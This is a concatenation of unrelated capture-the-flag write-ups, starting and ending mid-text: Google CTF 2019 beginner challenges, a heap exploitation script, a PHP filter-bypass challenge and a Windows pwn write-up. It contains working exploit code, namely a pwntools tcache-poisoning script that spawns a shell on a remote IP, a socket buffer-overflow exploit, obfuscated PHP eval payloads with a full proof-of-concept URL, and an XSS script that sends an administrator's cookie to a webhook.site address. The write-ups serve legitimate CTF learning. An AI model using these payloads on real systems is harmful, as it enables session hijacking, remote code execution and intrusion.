and then found out what types of files I'm dealing with by using the `file` utility and passing the `*` wildcard, which essentially means "everything," as in I want to find out the filetype of everything. One of the files, `rand2`, is an ELF. ELF stands for Executable and Linkable Format, which basically means that it's an executable program file. In order to execute it, we need to set the appropriate mode, so we use the `chmod` utility (change mode) and pass `+x` (+executable) to specify that we want to make this file executable. The other file, `log.txt`, is an ASCII text file. ASCII stands for the American Standard Code for Information Interchange, which basically means that it's readable text that we can understand as humans and not a bunch of binary machine jargon. We can read it using the `cat` utility. Let's go ahead and run `rand2` to see what it does. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-4.png) It looks like it takes two inputs and then performs a comparison on them. ## Method 1: Analysing Register Values and Ensuring Comparisons During debugging, we can have a look at the value of registers involved in comparisons and directly set them to certain values in order to ensure that a comparison is done between two equal values. Let's get started by debugging the program through `gdb`, the GNU Debugger. We're going to set a breakpoint at `main` using `break`, so the program will halt execution when it reaches that function. Then, we're going to run the program using `r`. Once it reaches the breakpoint, it will halt execution. We're then going to perform a disassembly on the current stack frame to view the instructions underneath using `disas`. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-5.png) Here's the full disassembly. ```asm(gdb) disasDump of assembler code for function main:=> 0x0000555555554872 <+0>: push rbp 0x0000555555554873 <+1>: mov rbp,rsp 0x0000555555554876 <+4>: push rbx 0x0000555555554877 <+5>: sub rsp,0x38 0x000055555555487b <+9>: mov DWORD PTR [rbp-0x34],edi 0x000055555555487e <+12>: mov QWORD PTR [rbp-0x40],rsi 0x0000555555554882 <+16>: mov edi,0x0 0x0000555555554887 <+21>: call 0x5555555546e0 <time@plt> 0x000055555555488c <+26>: mov QWORD PTR [rip+0x200805],rax # 0x555555755098 <seed> 0x0000555555554893 <+33>: lea rdi,[rip+0x229] # 0x555555554ac3 0x000055555555489a <+40>: call 0x5555555546b0 <puts@plt> 0x000055555555489f <+45>: mov QWORD PTR [rbp-0x18],0x0 0x00005555555548a7 <+53>: jmp 0x555555554946 <main+212> 0x00005555555548ac <+58>: mov rax,QWORD PTR [rbp-0x18] 0x00005555555548b0 <+62>: lea rdx,[rax*8+0x0] 0x00005555555548b8 <+70>: lea rax,[rip+0x2007a1] # 0x555555755060 <destinations> 0x00005555555548bf <+77>: mov rdx,QWORD PTR [rdx+rax*1] 0x00005555555548c3 <+81>: mov rax,QWORD PTR [rbp-0x18] 0x00005555555548c7 <+85>: mov rsi,rax 0x00005555555548ca <+88>: lea rdi,[rip+0x205] # 0x555555554ad6 0x00005555555548d1 <+95>: mov eax,0x0 0x00005555555548d6 <+100>: call 0x5555555546c0 <printf@plt> 0x00005555555548db <+105>: mov rax,QWORD PTR [rbp-0x18] 0x00005555555548df <+109>: lea rdx,[rax*8+0x0] 0x00005555555548e7 <+117>: lea rax,[rip+0x200772] # 0x555555755060 <destinations> 0x00005555555548ee <+124>: mov rax,QWORD PTR [rdx+rax*1] 0x00005555555548f2 <+128>: lea rsi,[rip+0x1c6] # 0x555555554abf 0x00005555555548f9 <+135>: mov rdi,rax 0x00005555555548fc <+138>: call 0x5555555546d0 <strcmp@plt> 0x0000555555554901 <+143>: test eax,eax 0x0000555555554903 <+145>: jne 0x555555554913 <main+161> 0x0000555555554905 <+147>: lea rdi,[rip+0x1d5] # 0x555555554ae1 0x000055555555490c <+154>: call 0x5555555546b0 <puts@plt> 0x0000555555554911 <+159>: jmp 0x555555554941 <main+207> 0x0000555555554913 <+161>: mov eax,0x0 0x0000555555554918 <+166>: call 0x55555555481a <next_destination> 0x000055555555491d <+171>: mov rbx,rax--Type <RET> for more, q to quit, c to continue without paging--c 0x0000555555554920 <+174>: mov eax,0x0 0x0000555555554925 <+179>: call 0x55555555481a <next_destination> 0x000055555555492a <+184>: mov rdx,rbx 0x000055555555492d <+187>: mov rsi,rax 0x0000555555554930 <+190>: lea rdi,[rip+0x1b5] # 0x555555554aec 0x0000555555554937 <+197>: mov eax,0x0 0x000055555555493c <+202>: call 0x5555555546c0 <printf@plt> 0x0000555555554941 <+207>: add QWORD PTR [rbp-0x18],0x1 0x0000555555554946 <+212>: cmp QWORD PTR [rbp-0x18],0x5 0x000055555555494b <+217>: jbe 0x5555555548ac <main+58> 0x0000555555554951 <+223>: lea rdi,[rip+0x1a0] # 0x555555554af8 0x0000555555554958 <+230>: mov eax,0x0 0x000055555555495d <+235>: call 0x5555555546c0 <printf@plt> 0x0000555555554962 <+240>: lea rax,[rbp-0x20] 0x0000555555554966 <+244>: mov rsi,rax 0x0000555555554969 <+247>: lea rdi,[rip+0x1b5] # 0x555555554b25 0x0000555555554970 <+254>: mov eax,0x0 0x0000555555554975 <+259>: call 0x5555555546f0 <__isoc99_scanf@plt> 0x000055555555497a <+264>: lea rdi,[rip+0x1af] # 0x555555554b30 0x0000555555554981 <+271>: mov eax,0x0 0x0000555555554986 <+276>: call 0x5555555546c0 <printf@plt> 0x000055555555498b <+281>: lea rax,[rbp-0x28] 0x000055555555498f <+285>: mov rsi,rax 0x0000555555554992 <+288>: lea rdi,[rip+0x18c] # 0x555555554b25 0x0000555555554999 <+295>: mov eax,0x0 0x000055555555499e <+300>: call 0x5555555546f0 <__isoc99_scanf@plt> 0x00005555555549a3 <+305>: mov eax,0x0 0x00005555555549a8 <+310>: call 0x55555555481a <next_destination> 0x00005555555549ad <+315>: mov rdx,rax 0x00005555555549b0 <+318>: mov rax,QWORD PTR [rbp-0x20] 0x00005555555549b4 <+322>: cmp rdx,rax 0x00005555555549b7 <+325>: jne 0x5555555549db <main+361> 0x00005555555549b9 <+327>: mov eax,0x0 0x00005555555549be <+332>: call 0x55555555481a <next_destination> 0x00005555555549c3 <+337>: mov rdx,rax 0x00005555555549c6 <+340>: mov rax,QWORD PTR [rbp-0x28] 0x00005555555549ca <+344>: cmp rdx,rax 0x00005555555549cd <+347>: jne 0x5555555549db <main+361> 0x00005555555549cf <+349>: lea rdi,[rip+0x18a] # 0x555555554b60 0x00005555555549d6 <+356>: call 0x5555555546b0 <puts@plt> 0x00005555555549db <+361>: lea rdi,[rip+0x1c6] # 0x555555554ba8 0x00005555555549e2 <+368>: call 0x5555555546b0 <puts@plt> 0x00005555555549e7 <+373>: mov eax,0x0 0x00005555555549ec <+378>: add rsp,0x38 0x00005555555549f0 <+382>: pop rbx 0x00005555555549f1 <+383>: pop rbp 0x00005555555549f2 <+384>: ret End of assembler dump.``` Some interesting instructions to point out here. At `main+259` and `main+300`, we have `scanf` function calls. This is where the program gets our input for the x and y coordinates. At `main+322` and `main+344`, we have comparisons done between some value (`rdx`) and our inputs (`rax`). Let's go ahead and set breakpoints at `main+322` and `main+344` and continue execution of our program with `c`. We can enter in whatever data we want when the `scanf` function gets our input for now, since we'll change it later in the debugger. When we approach the breakpoint, we'll find out what our input (`rax`) is being compared to (`rdx`) by having a look at all of the registers. We can get information about registers using `info registers`, or `i r` for short. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-6.png) The program is performing a comparison between our input, decimal `123` or hex `0x7b`, and the decimal `191410283849669` or hex `0xae162df9a7c5`. The comparison between these will obviously result in "not equal", to which we can expect the following instruction located on `main+325` to jump execution to `main+361` and leave the program without giving us our flag. We can't let that happen, so let's ensure that the comparison evaluates to "equal." We're going to directly set the `rax` register equal to the value of the `rdx` register using `set`. Then, we're going to continue execution of the program until the next breakpoint, at which we'll do the same thing. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-7.png) We got it! ## Method 2: Jumping Over Comparisons Instead of ensuring that the comparisons are equal to each other, we can straight up just jump over them using `jump`, essentially skipping them and going straight to the part of the program that prints us our flag. We're going to, once again, set breakpoints at `main+322` and `main+344`, as these are where our comparisons are occurring. However, immediately after approaching a breakpoint, we're going to jump over the following `jne` instructions located on `main+325` and `main+347` to the following instructions located on `main+327` and `main+349`, respectively. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-8.png) And just like that, we have the flag. ## Method 3: Strings This one is less fun than the other two, but hey -- it works. A program file doesn't just contain machine instructions, but it also contains other data such as as the things that the instructions might print to the screen. We can use the `strings` utility to extract anything remotely human-readable and not machine jargon. We can use this in conjunction with `grep` to find the flag. We know that the flag is in some sort of `CTF{}` format, so we can specify that and the `.*` wildcard (meaning "anything") to come up with an expression for the flag. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-9.png) Less fun, but it works. ## Flag ```CTF{welcome_to_googlectf}``` # Next Stop ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/0-10.png) Next stop: [Satellite](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day1-satellite.md) (Blue)
smallbin consolidation to overlaping chunks -> tcache poison to free hook.```from pwn import * #r = process("./iz_heap_lv2")r = remote("165.22.110.249", 4444)LIBC = ELF("./libc.so.6")name = 0X602100def alloc(sz, data): r.sendlineafter("Choice:","1") r.sendlineafter("Enter size:",str(sz)) r.sendlineafter("Enter data:",data) def edit(idx, data): r.sendlineafter("Choice:","2") r.sendlineafter("Enter index: ",str(idx)) r.sendafter("Enter data:",data) def delete(idx): r.sendlineafter("Choice:","3") r.sendlineafter("Enter index: ",str(idx)) def print_chunk(idx): r.sendlineafter("Choice:","4") r.sendlineafter("Enter index: ",str(idx)) r.recvuntil("Data: ") return r.recvline().rstrip() alloc(0x40,"/bin/sh\x00") # 0alloc(0xf0, "BBBBBBBB") # 1alloc(0x40,"CCCCCCCC") # 2 alloc(0x40,"DDDDDDDD") # 3alloc(0x58,"EEEEEEEE") # 4alloc(0xf0,"FFFFFFFF") # 5 log.info("OFF BY ONE NOW!")edit(4,"X"*0x50+p64(0x200)) prg = log.progress("filling tcache") for i in range(7): alloc(0xf0,"") for i in range(7): delete(i+6) prg.success("filled") log.warning("consolidating...")delete(1) delete(5) prg = log.progress("draining tcache") for i in range(7): alloc(0xf0,"") prg.success("drained") alloc(0x100,"ZZZZ")alloc(0x100,"YYYY")alloc(0xd0,"WWWW") log.success("EZ OVERLAPS") write_chnk = 12edit(11,"AAAAAAAA") # padding so we could get a leaklibc_leak = u64(print_chunk(11)[8:].ljust(8,"\x00")) - (0x3ebca0+0x2f0)log.success("LIBC BASE @ "+hex(libc_leak)) free_hook = LIBC.symbols["__free_hook"] + libc_leaksystem = LIBC.symbols["system"] + libc_leak delete(4) # chunk with Xs contents = ""contents += "A" * 0x88 # PADDINGcontents += p64(0x61) # SIZEcontents += p64(free_hook) # POSION FWD ADDRpause()edit(write_chnk, contents) alloc(0x50, "")alloc(0x50, p64(system))delete(0) r.interactive()```
# Government Agriculture Network (web) ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-0.png) Our first web challenge. Let's go ahead and visit that [website](https://govagriculture.web.ctfcompetition.com/) and see what's up. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-1.png) Well, this website is a tad bit strange. I'm not too sure what's up with this CTF's whole cauliflower thing, but that's besides the point. What we the hacker are enticed by is the giant text entry box. Arbitrary user input is perhaps the most prominent entryway for web application exploitation by hackers. > As with most distributed applications, web applications face a fundamental problem they must address to be secure. Because the client is outside of the application’s control, users can submit arbitrary input to the server-side application. The application must assume that all input is potentially malicious.> - The Web Application Hacker's Handbook, 2nd Edition, page 9 Let's go ahead and feed it some sort of random input to see how it behaves. We'll enter some sort of random input, anything, and then submit it. After doing so, we're sent to this page. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-2.png) Ah, it looks like whatever sort of input we enter is viewed by the admin. Let's go ahead and make sure of this by sending some HTML that will hopefully trigger a honeytoken. A honeytoken is essentially a broader honeypot. We're going to be sending some arbitrary HTML that will attempt to open up an image from a specific source. When the said specific source receives traffic from whoever opens it up, it will inform us, the attacker, that someone or something did indeed attempt to request the resource. If this were on a local network, then I'd set up a Python HTTP web server and use that to log all traffic. However, because this is an online challenge, and because I'm too cheap to own a server myself, I'll resort to the online honeytoken service [Canarytokens](https://canarytokens.org/). After generating a honeytoken with a disposable email account (courtesy of Guerrilla Mail), I'll go ahead and create some HTML that will attempt to request a resource from this honeytoken. ```html``` I'll go ahead and submit that to the administrator through the site and check my disposable email to see if I got a hit. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-3.png) Looks like we got a hit! From this, we've learned two things: 1) The website "administrator" is indeed viewing our submission, and 2) We are able to inject arbitrary HTML for this "administrator" to see. This is a textbook session hijacking situation via cookie stealing through XSS. XSS stands for Cross Site Scripting and is a vulnerability in which attackers are able to inject arbitrary code into a web page. In this case, we're able to inject arbitrary HTML (and by extension, JavaScript) into the web page that the administrator sees, and our input is not sanitized on the server side, so whatever code we enter is likewise interpreted like code as if it were a part of the website itself. We are in essence editing the site at an HTML level and getting someone else to run our code. XSS is going to be the vector for our main attack, which is session hijacking. Session hijacking is exactly what it sounds like: it's stealing someone else's session. This is typically done via cookie stealing. An HTTP cookie is a small piece of data that typically stores some information about a user and is included in requests to the web server, and is often times used to keep sessions persistent. For example, a user can log into a website and be given a small piece of data, a cookie, that keeps their session persistent. All requests to the website from there onwards while the user is logged in no longer prompts the user for a login every single time, but is instead authenticated using the given cookie. Where we the attacker may come into play is in the theft of this web cookie. If we were to somehow obtain this web cookie, we could easily take over their session an use the stolen cookie for authentication without the need to ever know their credentials. What we're going to be doing is injecting some HTML that will not only request a resource from a server we have control over, but request a resource in addition to giving us the victim's web cookie. We can accomplish this using the following script: ```html<script>document.location="https://<SERVER>/<RESOURCE>?c="+document.cookie</script>``` When this script runs, it will parse `"https://<SERVER>/<RESOURCE>?c="+document.cookie` to actually contain the cookie, and then see it as one giant resource to be requested. For example, if the cookie was `abc`, the victim browser will attempt to request resourced from `"https://<SERVER>/<RESOURCE>?c=abc"`. Because we, the attacker, are in total control of this said server, we will know what they are requesting even if it's nonsense. Again, if this were something on my local network or even within a VPN, I'd host a Python HTTP server to handle this. However, as this is online, I'll instead opt for an online solution such as [Webhook](https://webhook.site/). ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-4.png) With this in place, we'll go ahead and craft the arbitrary code we're going to be sending to the site administrator now. ```html<script>document.location="https://webhook.site/9b715d53-dede-4146-a377-3f46ab852fee?stolenCookie="+document.cookie</script>``` After sending it to the administrator, I'll go back to Webhook and see what I've caught. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-5.png) And just like that, we can find the flag in the administrator's request to our server within the form values. ## Flag ```CTF{8aaa2f34b392b415601804c2f5f0f24e}``` # Next Stop ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/3-6.png) Next stop: [STOP GAN (bof)](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day4-stop-gan-bof.md) (Red)
# Stop GAN (bof) (pwn) ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/4-0.png) [Attachment](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/attachments/day4.zip) Let's go ahead and unzip the challenge and see what we're dealing with. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/4-1.png) Looks like we have two files. One is an ELF executable, which we've dealt with before earlier during this competition, and the other is a C source code file. Let's see what the source code has to say. ```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h> /** * 6e: bufferflow triggering segfault - binary, compile with: * gcc /tmp/console.c -o /tmp/console -static -s * * Console allows the player to get info on the binary. * Crashing bof will trigger the 1st flag. * Controlling the buffer overflow in bof will trigger the 2nd flag. */ int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); char inputs[256]; printf("Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.\n Bonus flag for controlling the crash.\n"); while(1) { printf("\nConsole commands: \nrun\nquit\n>>"); if (fgets(inputs, 256, stdin) == NULL) { exit(0); } printf("Inputs: %s", inputs); if ( strncmp(inputs, "run\n\0", 256) == 0 ) { int result = system("/usr/bin/qemu-mipsel-static ./bof"); continue; } else if ( strncmp(inputs, "quit\n\0", 256) == 0 ) { exit(0); } else { puts("Unable to determine action from your input"); exit(0); } } return 0;}``` ## Flag 1: Crashing the Program The C program simply just runs the executable. The comments give us some direction. If we crash the executable, it will trigger the first flag. That's easy enough. We can easily generate gargantuan strings using a scripting language such as Python from the command line. ```$ python2 -c "print 'A'*999"``` `-c` simply means that we want to pass an instruction or a set of instructions as an argument. `print 'A'*999` is our instruction to the interpreter. This just prints out 999 'A' characters. However, we can't just simply pipe this into the program. This will crash the C program, not the `bof` program that we're aiming to crash in order to trigger the flag. The C program first takes a command, `run`, and THEN it runs the program, and then we want to enter in our giant input. What we're essentially doing is we're assuming that the `bof` program will expect an input of a certain length, and we're going to enter an input greater than that length, overflowing the buffer and leading to a segmentation fault (hopefully) crashing the program. Our input is instead going to be the `run` command, followed by a newline (the equivalent of pressing ENTER), and then our giant input. ```$ python2 -c "print 'run\n' + 'A'*999"``` Now let's go ahead and pipe this into a netcat connection with the specified server. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/4-2.png) ## Flag ```CTF{Why_does_cauliflower_threaten_us}``` ## Flag 2: Controlling the Crash The instructions tell us that we'll receive a bonus flag for controlling the crash. We can control the crash by overwriting the return address in the stack by sliding to it with 264 bytes of data, and then writing an address. We can find the address of a particularly interesting function `local_flag`, when we list functions using `nm` and `grep` it for any function containing the string "flag." Then, we can overwrite the return address with an address inside of that function. After some experimentation, I found 0x400850 to work. This is a Python script I wrote to handle this. ```python#!/usr/bin/env python3 import socketimport time def main(): padding = "\x41" * 264 address = "\x50\x08\x40" payload = padding + address + "\n" with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(("buffer-overflow.ctfcompetition.com", 1337)) time.sleep(1) s.recv(1024) s.send("run\n".encode()) s.send(payload.encode()) time.sleep(1) print(s.recv(1024).decode("utf-8")) if __name__ == "__main__": main()``` ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/4-3.png) ## Flag ```CTF{controlled_crash_causes_conditional_correspondence}``` ## Next Stop We've reached the end. Feel free to go all the way back to [Satellite](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day1-satellite.md) and check out the other branch.
## EasyPHP (871 points) ### DescriptionDon't try to run any Linux command, just use all the PHP functions you know to get the flaghttp://165.22.57.95:8000/ ### First lookVisiting given URL gives us a look at the source file:```php 0xd ) die('you are so close, omg'); eval($_);?>```So there are two conditions we have to satisfy in order to eval our code. Analysis of `preg_match` condition let us determine all the characters and php functionswe can explicitly use without any encoding. I made an assumption, that php configuration is default, so to have first look-aroundI parsed result of `get_defined_functions()` php function using given regex condition.This gives us following set of functions: ```bcmulrtrimtrimltrimchrlinkunlinktanatanatanhtanhintvalmailminmax``` At a first glance, functions `chr` and `intval` look promising - we could possibly craftboth characters and numbers. However, to do so, we need numbers to craft strings from (as we cant use any string quotes)e.g: `chr(asciicode)`. ### Looking for a right pathHow can we generate numbers then? There comes PHP syntax and behaviour with help!Basically in PHP strings have to be quoted using `"` or `'`.Although those characters are restricted by regex condition, PHP acts in pretty weird way, if we don't quote string -it assumes we've simply forgotten to quote it, produces notice and creates string anyway (only a-ZA-Z characters are valid in this case). Also, notice can be easily suppressed using `@` which is permitted by regex. How can we get number from string, though? In this case we can simply use PHP's ~~amazing~~ type juggling:```php', '<', '?', '=', ':', '@', '^']` Eventually I noticed something interesting in PHP documentation:https://www.php.net/manual/en/language.operators.bitwise.php> If both operands for the &, | and ^ operators are strings, then the operation will be performed on the ASCII values of the characters that make up the strings and the result will be a string. In all other cases, both operands will be converted to integers and the result will be an integer. This is exactly what we need. `^` stands for bitwise XOR, and if applied on strings, it XORs char by char.I have also tried out some XOR results, and it turned out, that it is possible to create lowercase charactersby XORing uppercase character with a number, for example:```phpecho @ASD^"123"; //produces string 'paw'```We already know how to create string using only permitted characters, and also how to create any number we want.If only number was string representation of integer, we could determine pairs of `Uppercase letter ^ [0-9]` which XOREDresult in ANY functions names! Next step is to create string representation for crafted number. Again, PHP type juggling arrives on a white horse yelling for attention:```php you are so close, omg Of course, I've forgotten about second condition which counts unique characters in our payload.My payload has 15 unique characters, while it accepts only <=13. Let's try to reduce those characters. Firstly, it's safe to remove all `@` characters, since it doesn't change anything - just suppresses notices.Fine, this is one character less. Let's try to encode our string once more with less unique characters. To clarify how the script works and decisions here, this is sample output which shows us possibilities of encoding:```p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|```Those are possible pairs to encode given character. In order to minimise unique characters, we should choose either:* characters which already exist in our payload (TRIM)* minimum number of characters with which we can encode all chars (re-use already chosen characters) This way, we encode `phpinfo` as `AYAYYRY ^ 1110746`, and thus generate payload with less than 14 unique chars:```(AYAYYRY^trim(((((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i)))+(((!!i+!!i))**((!!i))))))();``` Aaaaaand, we get `phpinfo()` output! POC:```http://165.22.57.95:8000/?_=(AYAYYRY^trim(((((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i%2B!!i%2B!!i)))%2B(((!!i%2B!!i))**((!!i))))))();```Also, it's worth to mention, that the only char we have to urlencode is `+` sign - if we urlencode all the characters,we might get `414 request-uri too large` for larger payloads. ### Looking for flagTo be honest, I was sure I'm gonna already get the flag at this point. Obviously I was wrong, so I continued research.The very first idea was to print content of current directory (which is often place where flag is stored). In order get dir contents, we have to encode few functions```scandir(string $dir) // returns array of $dir contentgetcwd() // returns current dir pathvar_dump($var) // outputs $var content of any type (may be array from scandir)```So following string is needed:```phpvar_dump(scandir(getcwd()));``` Again, we encode our stuff, put it into GET parameter and...:```array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" }``` No more words are needed, we simply encode:```var_dump(file_get_contents(end(scandir(getcwd()))));```and get the flag:```string(34) "ISITDTU{Your PHP skill is so good}"```
> by [andreafioraldi](https://twitter.com/andreafioraldi) and [chqmatteo](https://twitter.com/chqmatteo) from [TRX](https://twitter.com/TheRomanXpl0it) We played WCTF 2019 as mhackeroni and we got 8th place with two almost finished challenges that we could not submit in time. We got first blood and the only solve on the BabyPwn challenge. We imagine that many teams were close to the solution and so we will explain our solution that surprisingly worked. Fun fact: we solved it at 4 a.m., after that the "a bit drunk man" Andrea returned early to home at 2 a.m. under the solicitation of "a bit competitive man" Matteo. ## PWN part ### Reversing The binary is a PE32 for Windows.The main function is located at 0x12FB0, IDA does not recognize it but it can be easily recognized going backward using the XREFs from the strings.After a bit of reverse engineering, all the functions corresponding to each functionality can be found.Note that the MD5 hashing service is completely useless.Diggin in the code a custom readline routine (0x12EA0) is used many times.This is the decompiled code: ```cint __cdecl readline(char *a1, int size){ int result; // eax int i; // [esp+4Ch] [ebp-8h] char v4; // [esp+50h] [ebp-4h] __maybe_cfg_shit__((int)&unk_1D035); for ( i = 0; ; ++i ) { result = getchar(); v4 = result; if ( result == '\n' ) break; result = i; if ( i >= size ) break; a1[i] = v4; } return result;}``` As you can easily see this function is buggy, the NUL terminator is not placed. Looking in the join routine we can see that this function reads the username and the password and the username is a global variable. Let’s look at this snipped from such procedure: ```c puts("[2]Input user info"); print((int)"Username: ", v4); j_readline(username, 16); print((int)"Password: ", v1); j_readline(password, 10); puts("Message: "); puts("a.WCTF2019"); puts("b.CyKOR"); print((int)"> ", v2); j_readline(&a1, 1); if ( a1 == 'a' ) { useless_shit = (int)"WCTF2019"; } else { if ( a1 != 'b' ) return puts("[!]Not available"); useless_shit = (int)"CyKOR"; }``` You may also have noted the “useless_shit” shit, yeah this is a global variable just after username and it is placed to allow us to leak the binary base address.Filling the username with “a”*16 and then printing the username we will have a leak of an address in the .rdata section of the binary. username is printed at the end of the login routine. Now we have a leak, but how we can get EIP control? Not with this vulnerability for sure. The next vulnerability is pretty clear, for a “babypwner”.Look at the submit routine: ```cint submit(){ int result; // eax char v1; // ST0C_1 char v2; // [esp+0h] [ebp-5Ch] signed int i; // [esp+4Ch] [ebp-10h] char Dst; // [esp+50h] [ebp-Ch] _theread_id_something__((int)&xxx); j_memset(&Dst, 0, 10u); puts("[*]Submit"); puts("Me: I think this draft is cool enough."); result = puts("Me: Let's submit this masterpiece."); if ( dh_value_1 && dh_value_2 >= 32 ) { for ( i = 0; i < 32; ++i ) { result = i + dh_value_1; if ( *(unsigned __int8 *)(i + dh_value_1) != i + 1 ) return result; } puts("Validation complete."); print((int)"Student ID: ", v2); getchar(); j_readline(&Dst, 40); puts(&null_str); result = print((int)"[+]Done!", v1); } return result;}``` The Dst buffer on the stack is only 10 bytes and readline is called with 40 bytes as size argument. This is a clear stack buffer overflow. But how we can trigger it? There is a check based on the values computed by the Diffie Hellman part that we didn’t have analyzed yet.So we patch the check in the debugger and in our mind and we will return on it later. ### Exploitation The offset from Dest to the return address if 16 bytes and so can insert a ropchain of 28 bytes. We divide the exploit in two different steps done in two execution of the program. Luckily, ASLR in Windows is done at boot and we can use the first connection to leak the kernel32.dll base address and it will be the same also for the next connection. The first ropchain simply print the contents of an .idata entry associated to a routine in kernel32. We choose GetProcessHeap.Note that we will not leak the address of GetProcessHeap but of the stub (always in kernel32) that jumps to GetProcessHeap. In the second stage, we have only to exploit again the BOF in submit() and execute WinExec(“some command”, 0).This requires only 16 bytes because we can insert the command as username (we know the address of the .data section of the binary) and use it as the first parameter for WinExec. Returning to the missed part, the check based on Diffie Hellman was the real struggle of this cryptopwn. ## Cryptography part ### Objective To exploit the BOF in function submit we have to pass a validation check ```c if ((SharedKey != 0) && (0x1f < _authed)) { i = 0; while (i < 0x20) { if ((uint)*(byte *)(SharedKey + i) != i + 1U) { return; } i = i + 1; } puts("Validation complete.");``` SharedKey is a global variable that is set if we conclude correctly the "Diffie-hellman Key exchange" (option 1 of the Main menu) This check requires SharedKey to be equal to 0102030405060708091011121314151617181920212223242526272829303132 when hex encoded. To do so we have to carefully choose the parameters of the DH key exchange. ### Challenge overview In function dh_exchange at 0x00411ae0 we are asked for 3 hex-encoded values ```p (in hexadecimal, length <= 1000) : q (in hexadecimal, length <= 1000) :g (in hexadecimal, 0x2 <= g <= 0x40 ) :``` The three values are parsed and then passed to function key_exchange@0x00411f50 ```// function dh_exchange@0x00411ce1... iVar1 = key_exchange(shared_secret,int_g,int_p,int_q); if (iVar1 == 0) { thunk_FUN_004124e0("DH key exchange failed.\n",unaff_DI); result = -1; } else { thunk_FUN_004124e0("DH key 